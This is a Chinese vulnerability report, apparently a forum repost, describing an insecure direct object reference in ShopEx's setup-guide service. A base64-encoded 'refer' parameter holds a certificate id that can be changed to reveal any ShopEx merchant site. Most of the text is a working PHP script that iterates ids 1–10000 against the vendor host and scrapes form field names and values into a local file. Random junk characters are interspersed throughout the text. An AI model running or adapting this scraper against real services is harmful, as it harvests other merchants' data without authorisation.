ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
5 }: s* t7 ^4 K7 \; X& }问题出现在shopex 网店使用向导页面


0 i) `" c+ Q  C' n
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

9 f; S3 g2 M2 R* U0 P
  Q) ]0 X9 Q/ D) E
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' L/ G: ~; |: m% v) C4 m, L


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


& |  H6 E' P! m% ^8 A8 F
6 s9 n# [! J+ a9 g$ l& w/ P<?php

' R5 A/ `+ D- Q  x$ `# B$ s                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
  i0 [" s6 W2 }7 I4 }- \1 {
                }
9 H% e. u/ o! Y, b
6 f% H/ S+ P4 C! Y6 M6 w                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
) W! v& H2 E9 g$ \1 n8 E
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

( l3 T/ H2 X9 n! Q( r        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
2 ~, t- ?1 ?4 n# I8 e
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
7 }3 Z; A( R6 Z& S* V/ G: r
  L4 H# k* v* [$ L) z8 T        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
2 I& s( k& g0 M, O) J; N* F+ o/ I* w
        if(strpos($result,$refer))

        {

0 D1 d! x9 q; _' G- P" u/ S. n                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

5 o0 l& A" t, v! a- h$ L                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. |( W* y9 ]& j# g  z8 u3 L
                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

# C0 Y; s9 V1 g3 \' M, z+ p7 g: o                }

                echo '--------------------------------'."\r\n";
' W. X' d0 w# T5 E- Y
                fclose($fp);
2 K3 y! W$ |" n* d' x
& O/ [4 Z+ Q* g        }
2 c4 L& g+ r2 A
        flush();

        curl_close($ch);

                }

?>
漏洞证明：
& I/ q( ~( M6 `http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
# c, a3 m" h4 p( y$ ]% Hrefer换成其他加密方式
  p9 y0 C  I3 F